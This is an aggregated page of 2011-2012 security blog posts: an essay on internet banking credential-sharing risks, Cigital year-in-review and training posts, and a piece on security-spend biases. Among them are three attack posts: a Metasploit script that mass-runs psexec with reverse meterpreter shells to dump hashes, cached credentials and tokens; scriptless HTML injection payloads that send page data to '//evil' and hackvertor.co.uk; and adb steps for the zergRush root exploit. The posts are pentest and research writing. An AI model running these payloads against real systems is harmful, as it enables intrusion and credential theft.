Not logged in | Login

My Security Planet » Tags » Security

Feeds

13163 items (0 unread) in 75 feeds

WebSecurity

Security

SEO

Tools

Opensourcetesting.org News

433 items tagged "Security"

Related tags: Tools [+], Application [+], Software [+], Cloud [+], Touchpoints [+], Information [+], Corporate [+], Network [+], Mobile [+], Events [+], Enterprise [+], DataCentric [+], Data [+], Conferences [+], Computing [+], AJAX [+], republica08 [+], identity [+], federated [+], Star [+], SDL [+], PHNeutral [+], OWASP [+], Deepsec [+], Content [+], Chamber [+], Breaches [+], Bluehat [+], Awareness [+], All [+], 25C3 [+], Web [+], Random [+], Cyber [+]

Dominic White's .tHE pRODUCT

Internet Banking, 22seven & Security Fallacies

Posted: February 2nd, 2012, 6:26am CST

Tags: Security [edit]

There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.
1) 22seven is secure
Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in their description. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.

On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.

2) 22seven is safe because they use Yodlee and they are safe
This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by Simon Dingle. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. Paul Cartmel reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.

Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?

Once again, you do this all the time, so put it into perspective a little :)

3) Yodlee is safe, because they've never been breached in 13 years
If you refer back to point (1) you'll note that I didn't use "no past breaches" as a criteria for "secure". This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.

To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.
4) Yodlee's access to your bank account is a good idea
I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction & the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:

Banks Response

There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, ~~has responded by~~ will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional ("confirmation") OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). ~~Hopefully they'll respond.~~ FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.

This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.
Conclusion
I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.

Update: Modified the "Bank's Response" section based on feedback from FNB. Thanks for going to the trouble of contacting me :)
How to root a Motorola Atrix 4G on 2.3.4

Posted: January 16th, 2012, 6:56am CST

Tags: Security [edit]
Thanks to Simon Dingle, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the "direct consequences" camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying "shady unknown consequences" camp, an app call "Arabware [1]" offered to "localize" my services, and also could not be uninstalled or stopped. I decided it was time I got root.

The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola DOES NOT HAVE AN UNLOCKED BOOTLOADER. No problem they say, just flash this firmware in this ZIP file, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it:

"The2dCour, known troll in your phone."

Awesome. Not a chance I'm touching that.
Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.

All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're "non-technical" then move along :) The steps are:
1. Put your phone into USB debugging mode.
2. Download and install the Android Debugging tool from the Android SDK.
  - You'll need to run the SDK executable (android) and install the "Platform Tools" to get ADB these days.
3. Plug your phone into your computer.
4. Run "adb devices". You should see the serial number of your phone appear.
5. Download the binary zergRush exploit from it's developers. The source code is also available for you to examine (or compile).
6. Upload it to your device with "adb push zergRush /data/local/tmp".
7. Connect to your device with "adb shell"
8. In the shell, switch to the temp dir and run zergRush "cd /data/local/tmp/; ./zergRush"
9. You should see the following (the image below has been partially redacted):
10. If you get the "Killing ADB and restarting as root" line, then it's worked. Exit your adb shell and reconnect. You'll see a "#" as your prompt indicating you're root.
And that's it. On the one hand, I'm happy there's a "safer" easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.

[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.
Metasploit Massploitation

Posted: January 8th, 2012, 12:42pm CST

Tags: Security [edit]
In light of past and recent posts from mubix (one, two) and jcran, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.

On a pentest with a massive internal network, we managed to get access to 22k machines as local admin using a local account (verified with ncrack). Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from each of these. So I put together the following metasploit massploitation script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting & pulling the info without needed all the sessions to be open at once.

Essentially, there are three parts:
1. The massploitation.rc, this is the script run in the console (capturing the output is a good idea)
2. The targets file which has a list of targets, one per line
3. The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.
massploit-generic.rc
```
use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST <Local IP>
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser <username>
set SMBPass <pass or hash>
set SMBDomain "."
set DisablePayloadHandler true

<ruby>
        hostsfile = "<file containing hosts one per line>"
        File.open(hostsfile).each do |host|
                host.strip!
                print_status("Targetting #{host}")
                self.run_single("set RHOST #{host}")
                self.run_single("exploit -j -z")
                flag = false
                count = 0
                while ( flag == false and count < 5 )
                        if ( framework.sessions.length > 0 )
                                self.run_single("sessions -s extract.rc")
                                flag = true
                                #self.run_single("sessions -K")  #trying to resolve the race condition, this didn't work
                        else
                                count += 1
                        end
                        sleep(5)
                end
        end
</ruby>
```
extract.rc
```
print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
client.console.run_single("exit")  #Rather kill the session here
```
The stuff isn’t perfect, as there is a race condition where sometimes it tries to execute the meterpreter script before the meterpreter session is ready. Other than the delay, I’ll need to spend some time to understand metasploit’s threading.

The Spanner

HTML scriptless attacks

Posted: December 21st, 2011, 10:48am CST by Gareth Heyes

Tags: Security [edit]

Following up on @lcamtuf’s post about a “post xss” world. I thought I’d chip in with some vectors he missed. The textarea consumption technique he mentioned isn’t new and wasn’t invented by “Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Colin Jackson.” it was openly discussed on sla.ckers for many years (as usual) but anyway lets discuss vectors.
Button as a scriptless vector
Using button is interesting because of two interesting specification changes in HTML5, one is the fact that the default type for a button is a submit and secondly the formaction attribute allows you to change it’s parent form action. In addition button consumes HTML, allowing you store any html after button until the next or non existent closing button tag. Example vector:

<button name=xss type=submit formaction=//evil>I get consumed!
Option as a scriptless vector
A strange fact is option also consumes HTML, pretty obvious when you think about it but could lead to info disclosure like the button example.

<form action=//evil><select name=xss><option><b>steal me!</b>
@import as a scriptless vector
The CSS specification states that @import should continue parsing a url until it encounters a ending “;”. This means you can use it to consume HTML. A vector like the following can steal data:

<style>@import//hackvertor.co.uk? <b>steal me!</b>;
Noscript scriptless vector
Another interesting way to defeat XSS filters is to use the noscript tag as demonstrated by my attack against Caja’s HTML filter.

<noscript><form action=http://google.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=pwnd><textarea name=contents></noscript>

It uses the noscript tag to generate a textarea that when enabled (because of no javascript present) consumes the HTML after. This can also be initiated using security=restricted on IE or the new HTML5 iframe sandbox option. Original report.
Using window.name via base target
You can also use the target attribute to assign the contents of the HTML after to the window name and then later retrieve it x-domain after a user clicks an external link.

<base target=' steal me'<b>test</b>

So here we inject a base tag with a target attribute, the target then assigns everything after ‘ to the window.name and then can be retrieved when the user clicks to the external server.

That’s all folks.

Justice League

2011 CTO Year in Review

Posted: December 7th, 2011, 12:47pm CST by gem

Tags: Software Security [edit]
Part of my job as software security pundit and “hood ornament” of Cigital is spreading the word about software security far and wide. 2011 was a year like many others in that respect. Here is a “tripometer” graph showing talks I give and trips I take each year going back a decade.

The good news from my perspective is that talks are up (clocking in at 40) even while trips are down (coming in at 27). Those are the kinds of trends I can live with.

I gave nine keynote talks this year to large audiences. They included:
- Software Security and the BSIMM, Fannie Mae CSO Security Summit (Washington, DC)
- Architecture Risk Analysis, RSA Innovation Sandbox (San Francisco, CA)
- How Do I Secure my Software?, Hotel Technology Next Generation (San Diego, CA)
- Software Security: State of the Practice, SAP Quality Day (Heidelberg, Germany)
- Software Security and the BSIMM, Software Experts Summit (Mountain View, CA)
- Software Security and the BSIMM, AERES (Vienna, Austria)
- Attack Trends 2012, SNI Security Summit (Knoxville, TN)
- Attack Trends 2012, Automated Control Systems Security (Washington, DC)
- The Building Security In Maturity Model, NESSOS, Internet Days EU (Poznan, Poland)
I also gave talks at thirteen universities, including Uva, Harvard, Umass, NCSU, Georgetown, the Naval Postgraduate School, JHU, UMd, Northern Kentucky University, Columbia, Indiana University, JMU, and UC Santa Barbara. It is always a blast to interact with students. They seem to get younger every year.

If you have a speaking opportunity for us, we would love to hear from you! Cigital has a bunch of very talented speakers.

My monthly column for informIT continues apace into its fifth year. Here is a listing of the last 12 articles in the series (still working on December’s). I think my favorite one is the Zombies paper…that one should live on for a while.
- Third-Party Software and Security (November 30, 2011)
- Software Security Training (October 31, 2011)
- BSIMM3 (September 27, 2011)
- Balancing All the Breaking with some Building (August 30, 2011)
- Software Security Zombies (July 21, 2011)
- Computer Security and International Norms (May 30, 2011)
- vBSIMM (BSIMM for Vendors) (April 12, 2011)
- Modern Malware (March 22, 2011)
- Software Patents and Fault Injection (February 28, 2011)
- Comparing Apples, Oranges, and Aardvarks (or, All Static Analysis Tools Are Not Created Equal) (January 31, 2011)
- Driving Efficiency and Effectiveness in Software Security (December 29, 2010)
My 2011 writing also included interaction with the Washington D.C. policy wonks at the Center for a New American Security. CNAS ran a study on cyber security for policymakers. CNAS CEO and Iraq War author Nate Fick co-authored a paper with me meant to inform lawmakers about what cyber security really should be: Separating the Threat from the Hype: What Washington Needs to Know About Cyber Security in AMERICA’S CYBER FUTURE: SECURITY AND PROSPERITY IN THE INFORMATION AGE VOLUMES I AND II, Center for a New Amercian Security [PDF] (June 2011).

With the purchase of Fortify Software by HP at the end of 2010, a long and very successful technology transfer path was completed. From our invention of security scanning in the labs at Cigital, through Kleiner-Perkins, to worldwide distribution through HP, code review for security is here to stay. I wrote the story up in IEEE Software: Technology Transfer: A Software Security Marketplace Case Study [PDF] (September/October 2011).

And there is always the Silver Bullet security podcast. The last 12 interviews included some really solid episodes. I think my favorite this year was an in depth interview with Ralph Langner about Stuxnet. Ralph is the guy who discovered that the payload was aimed at Siemens Control systems.
2012 should look much the same when it comes to trips and talks, though one of these years I need to find the time to write another book!
2011 CTO Year in Review

Posted: December 7th, 2011, 7:47am CST by Cigital

Tags: Software Security [edit]
Part of my job as software security pundit and “hood ornament” of Cigital is spreading the word about software security far and wide. 2011 was a year like many others in that respect. Here is a “tripometer” graph showing talks I give and trips I take each year going back a decade.

The good news from my perspective is that talks are up (clocking in at 40) even while trips are down (coming in at 27). Those are the kinds of trends I can live with.

I gave nine keynote talks this year to large audiences. They included:
- Software Security and the BSIMM, Fannie Mae CSO Security Summit (Washington, DC)
- Architecture Risk Analysis, RSA Innovation Sandbox (San Francisco, CA)
- How Do I Secure my Software?, Hotel Technology Next Generation (San Diego, CA)
- Software Security: State of the Practice, SAP Quality Day (Heidelberg, Germany)
- Software Security and the BSIMM, Software Experts Summit (Mountain View, CA)
- Software Security and the BSIMM, AERES (Vienna, Austria)
- Attack Trends 2012, SNI Security Summit (Knoxville, TN)
- Attack Trends 2012, Automated Control Systems Security (Washington, DC)
- The Building Security In Maturity Model, NESSOS, Internet Days EU (Poznan, Poland)
I also gave talks at thirteen universities, including Uva, Harvard, Umass, NCSU, Georgetown, the Naval Postgraduate School, JHU, UMd, Northern Kentucky University, Columbia, Indiana University, JMU, and UC Santa Barbara. It is always a blast to interact with students. They seem to get younger every year.

If you have a speaking opportunity for us, we would love to hear from you! Cigital has a bunch of very talented speakers.

My monthly column for informIT continues apace into its fifth year. Here is a listing of the last 12 articles in the series (still working on December’s). I think my favorite one is the Zombies paper…that one should live on for a while.
- Third-Party Software and Security (November 30, 2011)
- Software Security Training (October 31, 2011)
- BSIMM3 (September 27, 2011)
- Balancing All the Breaking with some Building (August 30, 2011)
- Software Security Zombies (July 21, 2011)
- Computer Security and International Norms (May 30, 2011)
- vBSIMM (BSIMM for Vendors) (April 12, 2011)
- Modern Malware (March 22, 2011)
- Software Patents and Fault Injection (February 28, 2011)
- Comparing Apples, Oranges, and Aardvarks (or, All Static Analysis Tools Are Not Created Equal) (January 31, 2011)
- Driving Efficiency and Effectiveness in Software Security (December 29, 2010)
My 2011 writing also included interaction with the Washington D.C. policy wonks at the Center for a New American Security. CNAS ran a study on cyber security for policymakers. CNAS CEO and Iraq War author Nate Fick co-authored a paper with me meant to inform lawmakers about what cyber security really should be: Separating the Threat from the Hype: What Washington Needs to Know About Cyber Security in AMERICA’S CYBER FUTURE: SECURITY AND PROSPERITY IN THE INFORMATION AGE VOLUMES I AND II, Center for a New Amercian Security [PDF] (June 2011).

With the purchase of Fortify Software by HP at the end of 2010, a long and very successful technology transfer path was completed. From our invention of security scanning in the labs at Cigital, through Kleiner-Perkins, to worldwide distribution through HP, code review for security is here to stay. I wrote the story up in IEEE Software: Technology Transfer: A Software Security Marketplace Case Study [PDF] (September/October 2011).

And there is always the Silver Bullet security podcast. The last 12 interviews included some really solid episodes. I think my favorite this year was an in depth interview with Ralph Langner about Stuxnet. Ralph is the guy who discovered that the payload was aimed at Siemens Control systems.
2012 should look much the same when it comes to trips and talks, though one of these years I need to find the time to write another book!
UK Spooks’ Recruiting Tactic: Very Low Pound to Genius Ratio

Posted: December 2nd, 2011, 3:29pm CST by Guest

Tags: Cyber Security [edit]

(This is a guest post by Adam Zabrocki, a consultant at Cigital.)

The UK intelligence agency, GCHQ, (roughly analogous to the US’s NSA) posted an online challenge recently at [canyoucrackit.co.uk] (read more). Given essentially no information other than what are pretty obviously hex digits, candidates are invited to attempt to “crack” an opaque puzzle. It isn’t even clear what the puzzle is (is it an encrypted document? is it a program? Is it a virus?).

Ostensibly the puzzle will help GCHQ identify very clever candidates to come work at the agency, fighting the good fight in cyberwarfare. Other high-profile companies have tried similar strategies in the past (like Google and Microsoft) to find highly qualified candidates.

The puzzle requires unraveling x86 instructions, finding a few bits of essential data hidden steganographically in the image itself, and putting it all together into a program that reveals a final URL to visit. The skills required to do this are similar to those required for reverse engineering unknown malware and trying to figure out what it does–especially when only part of it is present. It’s part systematic sleuthing, part guesswork, and part forensics.

As the UK, the US, and many other wealthy nations attempt to build their defences against cybercrime (and cyberwar), they are trying to identify good guys who have what it takes to understand what the bad guys do. It’s great fun to solve a problem like this, and it’s great fun to imagine doing that for a living to serve your country. But when you discover that the government’s salary is a fraction of the salary of being a private-sector good guy (not to mention what the bad guys might make), it’s no wonder they are struggling to find recruits.

The details of how I solved it are on my personal blog.
UK Spooks’ Recruiting Tactic: Very Low Pound to Genius Ratio

Posted: December 2nd, 2011, 10:29am CST by Cigital

Tags: Cyber Security [edit]

(This is a guest post by Adam Zabrocki, a consultant at Cigital.)

The UK intelligence agency, GCHQ, (roughly analogous to the US’s NSA) posted an online challenge recently at [canyoucrackit.co.uk] (read more). Given essentially no information other than what are pretty obviously hex digits, candidates are invited to attempt to “crack” an opaque puzzle. It isn’t even clear what the puzzle is (is it an encrypted document? is it a program? Is it a virus?).

Ostensibly the puzzle will help GCHQ identify very clever candidates to come work at the agency, fighting the good fight in cyberwarfare. Other high-profile companies have tried similar strategies in the past (like Google and Microsoft) to find highly qualified candidates.

The puzzle requires unraveling x86 instructions, finding a few bits of essential data hidden steganographically in the image itself, and putting it all together into a program that reveals a final URL to visit. The skills required to do this are similar to those required for reverse engineering unknown malware and trying to figure out what it does–especially when only part of it is present. It’s part systematic sleuthing, part guesswork, and part forensics.

As the UK, the US, and many other wealthy nations attempt to build their defences against cybercrime (and cyberwar), they are trying to identify good guys who have what it takes to understand what the bad guys do. It’s great fun to solve a problem like this, and it’s great fun to imagine doing that for a living to serve your country. But when you discover that the government’s salary is a fraction of the salary of being a private-sector good guy (not to mention what the bad guys might make), it’s no wonder they are struggling to find recruits.

The details of how I solved it are on my personal blog.
Training by the Numbers

Posted: November 7th, 2011, 2:18pm CST by sammy

Tags: Software Security [edit]
- 1992: Cigital (then Reliable Software Technologies) gets started and also delivers some training on software quality
- “a few hundred”: ILT days delivered from 1992 through 2006
- 5,000: ILT students trained from 1992 through 2006
- 575: ILT and tutorial days delivered from 2007 through today
- 9,000: ILT students trained from 2007 through today
- 100,000: current students with access to our eLearning
Here are those numbers again in the context of a few things we’ve learned:

Cigital has always included instructor-led training (ILT) as part of its knowledge transfer to clients. From our founding in 1992 through 2006, we trained an estimated 5000 students on various aspects of software quality and software security. This was done in only “a few hundred” sessions. In addition, from the launch of our formal training offerings in January 2007 through September 2011, we delivered approximately 525 ILT days to over 7700 students. Throw in “about 50” conference tutorial sessions and other non-client-specific training sessions (but not normal conference talks or similar things) and the student number grows to about 9000, for a total of about 14,000.

There has been some shift in demand over that time. For the first 10 years or so, everything was custom. We typically spent weeks and even months building training that was very specific to platforms, frameworks, coding standards, policies, and even specific problems-of-the-day. This training was usually for relatively small numbers of people all working on something very similar. For the firm, that becomes a very expensive proposition when you get to hundreds or even thousands of developers working in multiple technologies, stacks, languages, tools, and related items. There simply isn’t enough time or dollars to make custom training for everyone.

Starting in 2006, we saw a real market demand for more standardized software security training (as differentiated from the plethora of network security, tool-specific, and generic “security” training in the marketplace, or the deep-dive, single-topic courses for things like reversing malware or DLL hooking). This demand was and continues to be much more centered on foundational training for all SDLC stakeholders (business analysts, architects, developers, quality testers, pen testers, audit, risk/compliance, and so on) and advanced training for small groups (e.g., lead architects and developers).

From early 2007 through October 2011, Cigital also deployed eLearning to firms that represent over 100,000 students who are developers, architects, testers, managers, business analysts, security operations folks, and others. The majority of clients are using our eLearning in their internal learning management systems for access by employees as well as contractors integrated into the client’s ecosystem. For external contractors without access to internal client systems, clients are using our training portal.

There has been shift in the eLearning landscape as well.
- We see almost all large firms having their own learning management system and wanting to take our material in-house. Meanwhile, smaller firms are looking to out-source everything and simply purchase access to our LMS for a given number of seats.
- There is a growing demand for tightly-focused topical modules that can be consumed in an hour or less.
- There was an initial demand for custom eLearning and then off-the-shelf became all the rage as the economy changed.
- There’s a trend to moving training closer to the activity. For example, inserting some defensive programming training directly into the developer’s IDE. We’ve actually developed plug-in technology for this one.
- As everyone sees the possibilities represented by more advanced instructional design, there is an increasing demand for what can only be described as virtual reality and flying monkeys with every image and word indexed and a holographic interface that instantly takes the student to the exact second in the module that answers with cut-and-paste content whatever question the student is pondering. Oh, and it needs to run on any device from laptops to smart phones to microwaves and in-dash satellite radios. Of course, we’re all over this, too.
As an off-shoot of our continuing BSIMM activities, Gary and I also recently wrote an article on software security training. Here are some additional thoughts.

Dominic White's .tHE pRODUCT

Squinting at Security Drivers & Perspective-based Biases

Posted: November 1st, 2011, 12:17pm CDT

Tags: Security [edit]
Originally published on SensePost's blog.

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I've spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it's possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I'd want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn't about threat modelling).
Auditors
The tick box monkeys themselves, they provide a useful function, and are so universally legislated and embedded in best practise, that everyone has a few decades of experience being on the giving or receiving end of a financial audit. The priorities audit reports seem to drive are:
- Vulnerabilities in financial systems. The whole audit hierarchy was created around financial controls, and so sticks close to financial systems when venturing into IT's space. Detailed and complex collusion possibilities will be discussed when approving payments, but the fact that you can reset anyone's password at the helpdesk is sometimes missed, and more advanced attacks like token hijacking are often ignored.
- Audit house priorities. Audit houses get driven just like anyone else. While I wasn't around for Enron, the reverberations could still be felt years later when I worked at one. What's more, audit houses are increasingly finding revenue coming from consulting gigs and need to keep their smart people happy. This leads to external audit selling "add-ons" like identity management audits (sometimes, they're even incentivised to).
- Auditor skills. The auditor you get could be an amazing business process auditor but useless when it comes to infosec, but next year it could be the other way around. It's equally possibly with internal audit. Thus, the strengths of the auditor will determine where you get nailed the hardest.
- The Rotation plan. This year system X, next year system Y. It doesn't mean system X has gotten better, just that they moved on. If you spend your year responding to the audit on system Y and ignore X, you'll miss vital stuff.
- Known systems. External and internal auditors don't know IT's business in detail. There could be all sorts of critical systems (or pivot points) that are ignored because they weren't in the "flow of financial information" spread sheet.
Vendors Security vendors are the love to hate people in the infosec world. Thinking of them invokes pictures of greasy salesmen phoning your CIO to ask if your security chumps have even thought about network admission control (true story). On the other hand if you've ever been a small team trying to secure a large org, you'll know you can't do it without automation and at some point you'll need to purchase some products. Their marketing and sales people get all over the place and end up driving controls; whether it's “management by in-flight magazine”, an idea punted at a sponsored conference, or the result of a sales meeting.
But security vendors prioritisation of controls are driven by:
- New Problems. Security products that work eventually get deployed everywhere they're going to be deployed. They continue to bring in income, but the vendor needs a new bright shiny thing they can take to their existing market and sell. Thus, new problems become new scary things that they can use to push product. Think of the Gartner hype curve. Whatever they're selling, be it DLP, NAC, DAM, APT prevention or IPS if your firewall works more like a switch and your passwords are all "P@55w0rd" then you've got other problems to focus on first.
- Overinflated problems. Some problems really aren't as big as they're made out to be by vendors, but making them look big is a key part of the sell. Even vendors who don't mean to overinflate end up doing it just because they spend all day thinking of ways to justify (even legitimate) purchases.
- Products as solutions. Installing a product designed to help with a problem isn't the same as fixing the problem, and vendors aren't great at seeing that (some are). Take patch management solutions, there are some really awesome, mature products out there, but if you can't work out where your machines are, how many there are or get creds to them, then you've got a long way to go before that product starts solving the problem it's supposed to.
Pentesters
Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a flurry of media reports hit the public and some people go into panic mode. I remember The DNS bug, where all that was needed was for people to apply a patch, but which, due to the publicity around it, garnered a significant amount of interest from people who it usually wouldn't, and probably shouldn't have cared so much. But many pentesters trade on this publicity; and some pentesting companies use this instead of a marketing budget. That's not their only, or primary, motivation, and in the end things get fixed, new techniques shared and the world a better place. The cynical view then is that some of the motivations for vulnerability researchers, and what they end up prioritising are:
- New Attacks. This is somewhat similar to the vendors optimising for "new problems" but not quite the same. When Errata introduced Hamster at ToorCon ‘07, I heard tales of people swearing at them from the back. I wasn't there, but I imagine some of the calls were because Layer 2 attacks have been around and well known for over a decade now. Many of us ignored FireSheep for the same reason, even if it motivated the biggest moves to SSL yet. But vuln researchers and the scene aren't interested, it needs to be shiny, new and leet . This focus on the new, and the press it drives, has defenders running around trying to fix new problems, when they haven't fixed the old ones.
- Complex Attacks. Related to the above, a new attack can't be really basic to do well, it needs to involve considerable skill. When Mark Dowd released his highly complex flash attack, he was rightly given much kudos. An XSS attack on the other hand, was initially ignored by many. However, one lead to a wide class of prevalent vulns, while the other requires you to be, well, Mark Dowd. This mean some of the issues that should be obvious, that underpin core infrastructure, but that aren't sexy, don't get looked at.
- Shiny Attacks. Some attacks are just really well presented and sexy. Barnaby Jack had an ATM spitting out cash and flashing "Jackpot", that's cool, and it gets a room packed full of people to hear his talk. Hopefully it lead to an improvement in security of some of the ATMs he targeted, but the vulns he exploited were the kinds of things big banks had mostly resolved already, and how many people in the audience actually worked in ATM security? I'd be interested to see if the con budget from banks increased the year of his talk, even if they didn't, I suspect many a banker went to his talk instead of one that was maybe talking about a more prevalent or relevant class of vulnerabilities their organisation may experience. Something Thinkst says much better here.
Individual Experience
Unfortunately, as human beings, our decisions are coloured by a bunch of things, which cause us to make decisions either influenced or defined by factors other than the reality we are faced with. A couple of those lead us to prioritising different security motives if decision making rests solely with one person:
- Past Experience. Human beings develop through learning and consequences. When you were a child and put your hand on a stove hot plate, you got burned and didn't do it again. It's much the same every time you get burned by a security incident, or worse, internal political incident. There's nothing wrong with this, and it's why we value experience; people who've been burned enough times not to let mistakes happen again. However, it does mean time may be spent preventing a past wrong, rather than focusing on the most likely current wrong. For example, one company I worked with insisted on an overly burdensome set of controls to be placed between servers belonging to their security team and the rest of the company network. The reason for this was due to a previous incident years earlier, where one of these servers had been the source of a Slammer outbreak. While that network was never again a source of a virus outbreak, their network still got hit by future outbreaks from normal users, via the VPN, from business partners etc. In this instance, past experience was favoured over a comprehensive approach to the actual problem, not just the symptom.
- New Systems. Usually, the time when the most budget is available to work on a system is during its initial deployment. This is equally true of security, and the mantra is for security to be built in at the beginning. Justifying a chunk of security work on the mainframe that's been working fine for the last 10 years on the other hand is much harder, and usually needs to hook into an existing project. The result is that it's easier to get security built into new projects than to force an organisation to make significant “security only” changes to existing systems. The result in those that present the vulnerabilities pentesters know and love get less frequently fixed.
- Individual Motives. We're complex beings with all sorts of drivers and motivations, maybe you want to get home early to spend some time with your kids, maybe you want to impress Bob from Payroll. All sorts of things can lead to a decision that isn't necessarily the right security one. More relevantly however, security tends to operate in a fairly segmented matter, while some aspects are “common wisdom”, others seem rarely discussed. For example, the way the CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up their controls and choose their focus could be completely different, but beyond general industry chit-chat, there will be little detailed discussion of how they're securing integration to their dealership network. They rely on consultants, who've seen both sides for that. Even then, one consultant may think that monitoring is the most important control at the moment, while another could think mobile security is it.
So What?
The result of all of this is that different companies and people push vastly different agendas. To figure out a strategic approach to security in your organisation, you need some objective risk based measurement that will help you secure stuff in an order that mirrors the actual risk to your environment. While it's still a black art, I believe that Threat Modelling helps a lot here, a sufficiently comprehensive methodology that takes into account all of your infrastructure (or at least admits the existence of risk contributed by systems outside of a “most critical” list) and includes valid perspectives from above tries to provide an objective version of reality that isn't as vulnerable to the single biases described above.

Justice League

Cigital helps to create cyber security plans

Posted: October 11th, 2011, 1:59pm CDT by Guest

Tags: Cyber Security [edit]

(This is a guest post by Evgeny Lebanidze, a managing consultant at Cigital.)

